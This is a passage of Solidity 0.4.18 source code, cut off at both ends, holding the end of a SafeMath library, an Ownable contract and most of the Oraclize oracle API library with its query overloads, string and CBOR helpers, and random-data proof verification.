return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
